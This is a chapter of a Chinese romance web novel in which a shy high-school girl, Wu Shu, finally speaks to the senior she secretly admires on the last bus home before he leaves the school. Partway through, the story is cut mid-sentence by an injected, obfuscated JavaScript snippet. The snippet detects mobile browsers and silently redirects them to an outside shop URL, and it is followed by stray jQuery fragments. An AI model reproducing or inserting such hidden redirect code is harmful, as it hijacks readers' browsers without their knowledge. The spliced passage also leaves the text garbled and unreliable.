1. 告别

作品:《他的回音

    周四清晨,6点20的501路车准时到站,吴束捧着水杯,挥别父亲上车刷卡,坐上最后一排、最右边的位置。


    这里离始发站不过两个站点,时间又早,总是人满为患的车厢此时空空如也,这位置也就长久地被吴束承包。


    车厢摇摇晃晃,吴束默默地数着站台。


    “朱宜路到了,开门请当心,前门上车,后门下车……”


    公交还没到站的时候,吴束就已经望向窗外,一眼看到那个高高的身影。


    伴随着早晨微凉的空气,成群的学生涌进车厢。男生随着人流慢慢往后面移动,踏上两层台阶在后车厢站定。


    吴束心里小小的雀跃着。


    今天的距离很近!


    宋莳翊原本抓着椅背扶手,身边站定一位女生,他转而握住上方的横杆。


    因背对着,正好方便吴束肆意观察。


    他好像理过发了,耳后、脖颈发际短簇整齐,裸露出来的皮肤干净清爽。


    吴束觉得,那应该是青草香。


    他有一副好看的皮囊、优越的身高、独树一帜的气质,家境殷实身份尊贵,吴束不明白,拥有这样足够嚣张的资本,他却对谁都是和煦温润,这个世界上怎么会有这样完美的人。


    501路飞驰在早高峰前的城市道路上,沿路还有两所高中,学生们上上下下,时不时有男生女生向宋莳翊打招呼,他礼貌地回应。


    大约是交好的同学没赶上这班车,落单的宋莳翊一路上沉默着,时而拿出手机看两眼,这股疏远的气质令想要攀谈的同学望而却步。


    他是碰到什么事了吗?吴束疑惑。


    宋莳翊从没这样冷漠过。


    到站的时候,太阳已经升起,几十分钟里,混沌的早晨不再雾蒙蒙,学生们迎着东边的阳光走向校门。


    吴束有两个公交车搭子,他们今天值日提前到校,于是同样落了单的吴束不用隐藏小心思,目光直白地追随着这位学长。


    吴束自认是一个奇怪的女生,会因为一件莫名其妙的小事高兴一整天。


    比如今天,同乘一辆车,距离又很近,她决定今天是幸运日,走起路来都欢快许多。


    实验高中建在一座丘陵上,上学总是要先爬一段高高的台阶。


    高二高三聚集在正对大门的工字教学楼里,高一在遥远的南边角落,跑操、活动都在那边的小操场。


    彼时她只知道这个男生是学长,哪个班、哪个年级、名字怎么写,一概不知,只从他的同学口中听到“songshiyi”这些音节。


    得知他只比自己大一届的时候,吴束开心了好一阵——她还有一年时间,可以默默地看着他。


    吴束跟着宋莳翊,等他走进左边楼梯,她才加快脚步跑向右边楼梯。


    进了教室,吴束赶紧坐上座位,抬眼看向对面四楼,没多久就看见宋莳翊出现在走廊上,转身走进教室。


    吴束坐在第一排,正是最佳观望位置。她没少在这个座位上,期待课间的10分钟里,能看见出来放风的他。


    今天是全校大扫除的日子,从高一开始吴束就负责擦窗子,到了高二依然如此。


    验收卫生的老师是校医,检查窗户干净与否的方法非常严苛,里里外外、迎光背光都要看个仔细,所以吴束非常卖力。


    当然,她也非常开心,因为她发现宋莳翊也是擦窗户的,这让她的偷瞄非常光明正大且肆无忌惮。


    少女怀春流绪微梦,遇上这样一个没有场合束缚的时机,传递情书变得方便大胆又又隐秘,只是今天宋莳翊那个班级,门口人头攒动,热闹得有些异常。


    女班长正从老师办公室出来,直奔同桌,吴束听到她跟她的同桌嚷嚷:“雪儿,宋莳翊要退学了你知道吗?!”


    ……


    “来,都坐好,我布置一下国庆假期的事情。”班主任吴春霞走进教室,按住躁动的气氛。


    大扫除验收结束,今天也是国庆前最后一个工作日,吴春霞不值晚自习,于是赶在学生晚餐前把该传达的精神一一布置。


    吴束望着讲台,心不在焉。


    因为每天公车上的同一空间、校园里偶然的瞥见而心满意足,这股浅浅甜甜的感觉,就像小仓鼠捧着小坚果,小心翼翼又悄咪咪的。没成想,这样细微的情绪,日积月累,竟掀起惊涛骇浪。


    汹涌的失落沮丧,让她措手不及。


    可即便如此,吴束的性格让她做不出任何出格的事情,她的勇气仅仅足够她在睡前自导自演各种剧情。


    吴春霞说了很多,内容无非是让学生不落课业注意安全。


    老套的话术,学生轻而易举就能辨别是否接近尾声,于是窸窣耳语逐渐失控,又突然因为门口的一声“吴老师”戛然而止。


    吴春霞留了句:“等铃声响了再去食堂。”说罢走向门口。


    吴束愣在座位上。


    晚霞可真漂亮啊,要不宋莳翊怎么会好看成这样?


    因为宋莳翊的到来,这层楼有些平静的疯狂。


    吴束的座位视线绝佳,看得到吴春霞与宋莳翊笑着说话。对话结束于吴春霞拍了拍他的肩膀。


    只说铃声响了才能去食堂,没说不能离开教室,于是工字教学楼,迎向夕阳的位置站满了学生。


    枯燥乏味的学习生活,因为长假的到来有些躁动。眼前热烈绚烂的晚霞,浓黄艳紫,将蠢蠢欲动的失序感无限放大。


    来自这个世界、这个自然的原始气息铺天盖地而来,打破人类世界日复一日无限叠加的规则,“圈养”中的孩子们终于短暂地摇动身上的枷锁,感知到自己作为一个生物与地球、与宇宙之间的链接。


    吴束看着晚霞,心里被撞开一个缝隙。


    她是一个普通到掉人堆里可以隐身的女孩儿,性格温吞慢热,升入高中更是发现,同学们的家庭卧虎藏龙,而自己家境平凡,不值一提。这样一无是处的她,自认对宋莳翊的好感,都不配称之为“暗恋”。


    眼下,她好像已经无可回避,这就是她的初恋,一场默默无闻、无疾而终的暗恋。


    晚自习英语小练,吴束情绪不好发挥失常,被英语老师留下来谈话。


    聊得有些久,吴束背着书包慢慢下楼的时候,校园里已经一片沉静。


    看了眼时间,发现最后一班公交车的时间还宽裕,她发了信息告诉父亲要迟些到,再抬头,瞥见同路上一个熟悉的身影。


    是宋莳翊!


    困顿的心绪立刻被激活,吴束觉得自己的心脏就要跳出来了。


    走下校门高高的台阶,越过马路,还需要穿过夹在居民楼之间、两百多米长的昏暗巷子。


    路上就他们两个,往同一个公交站去。


    楼宇间只剩零星人户亮着灯,偶尔传来两三声小狗叫,很寂寥。


    吴束跟着宋莳翊慢慢走着,他的大长腿迈地慢,她可以很轻松地跟上。


    这个背影,是最后一次见了。吴束收回今天是“幸运日”这个认定。


    她低头看着地上的影子。


    宋莳翊的个子可真高啊,影子拖得这么长。


    晃晃悠悠之间,吴束惊喜的发现,走在昏暗路灯之间的两个人,影子的两颗脑袋,轻轻地靠在一起。


    吴束赶紧掏口袋,捞出手机拍下这一幕。


    也是捞手机的这几秒钟,她错过了宋莳翊回头看她的瞬间。


    宋莳翊走得慢,他知道后面跟着一个学妹。


    节后就要离开这个学校,和任课老师一一道别花了些时间,结束的时候,校园门里门外都冷清极了,只有一个个子矮矮的女生,慢腾腾的落后于他的脚步。


    也不知道她为什么这么迟才走。


    宋莳翊的礼貌绅士多来自于他的教养,发现和他同路之后,他刻意放慢脚步。


    冷清的街道,随时窜出来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059376|194985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的猫狗都能吓到人。


    他偶尔回了下头,发现女生有跟上他,就着路灯发现是那个每天在公交车上坐在固定位置的女生。


    可能晚上的路况太好,最后一班车有些提前。宋莳翊迈开步子追到站台,刚好车子进站。


    落后的吴束顺利上了车,宋莳翊慢慢往后车厢走,吴束小心翼翼地跟着。


    某些方面吴束有点奇奇怪怪的强迫症,比如公交车座位。好在最后一排最右边位置空着。


    宋莳翊在最后一排最左边落座,跟在身后的吴束闻到了来自于他身上的香味,不是她想象的青草香,而是更清爽更好闻的味道。


    这个味道她记了很久,留意了很多香水和香氛,连洗手液、洗衣液都没放过,始终没找到同款。再后来吴束才知道,那是宋莳翊自己的味道。


    两个人一左一右地坐着,车厢里再没其他乘客。


    吴束不敢多瞄,拿出手机翻相册,看着傍晚的晚霞。她看见宋莳翊也拍了这个晚霞的。还有路灯下两人相连的影子,以及她偷拍下来的他的背影。


    宋莳翊转头看另一边的女生,轰响的车厢内响起他清冽的少年音:“同学,你为什么总是坐同一个位置?”


    吴束一愣,后知后觉是宋莳翊在跟她说话。


    “我……”吴束感觉嗓子被揦了一下,干涩到说不出第二个字。


    大约是因为“偏僻”?又或是因为居高临下可以看到许多,例如站着、或坐在任何角落的宋莳翊。


    高个子的宋莳翊实在好奇,这个小女生为什么钟情于这样逼仄的位置,屁股下是振动不停的发动机,轰鸣声响到耳膜不适。


    吴束像是回答不出老师问题的学生,耳朵脸颊爆红,眼神躲闪瞥向窗外。


    宋莳翊也没打算听到回答,接着问:“你是学妹吧?我好像在吴老师班上看见你了。你叫什么名字?”


    吴束脑子里嗡地炸开来,疑惑今天发动机怎么这么吵,害她都不怎么听得清宋莳翊说什么,只隐约在问自己叫什么。


    “我叫吴束,口天吴,花束的束。”


    “无拘无束,吴束。你的父母很爱你。我叫宋莳翊。”


    吴束下意识的转头看向他,座位空间狭小,这个长腿男生坐在里面实在挤得慌,但一直到下车,他都没换座位。


    他那昂贵的书包被他随意丢在旁边的座位上,车窗已经打开,晚风吹了进来。路灯摇晃,影影绰绰间,学校规定的发型在他的身上像定制造型,干净利落。


    直到坐上父亲电瓶车后座,吴束还在回忆车上的这一幕,蓦地又想起宋莳翊的话。


    爷爷家穷困,父亲自学成为英文老师,即使水平有限,但在那个年代已经很了不起。外公外婆家条件也不好,婚后妈妈不上班专心操持家务。


    吴束小学入学后,一家三口搬进了矿区宿舍,父亲在矿区学校任职,待遇比待在乡村学校里要好很多,条件才渐渐好了起来。


    父母年轻时的性格无从知晓,只是自记事起,大约是人民教师自带的严肃造就,父亲不苟言笑、不怒自威。


    母亲文化水平不高,也不上班,吴束上学后她和伙伴们一起做手工补贴家用。


    心思敏感的吴束很小的时候就感知到自家条件不优越,懂事的她也养成了缄默、羞于索取的习惯。小小的她总在父母不在家时,自己与自己玩,有些孤单但也自得。


    吴束自省后很清楚自己纠结的性格来自于这样的童年,她假设过很多情况,有遗憾有无奈,唯独没有怨怼,包括没有进入全区最好的那所初中。


    因为她知道自己的家庭,经济和陪伴无法兼得,他的爸爸妈妈已经在竭尽全力给予她最好的东西。


    没想到,她喜欢但从没接触过的男生,竟能一针见血地看出来,父母隐藏在名字里的对她的期待。


    吴束想,今天被老师留堂一点都不亏,因为在后会无期之前,她和他说上了话。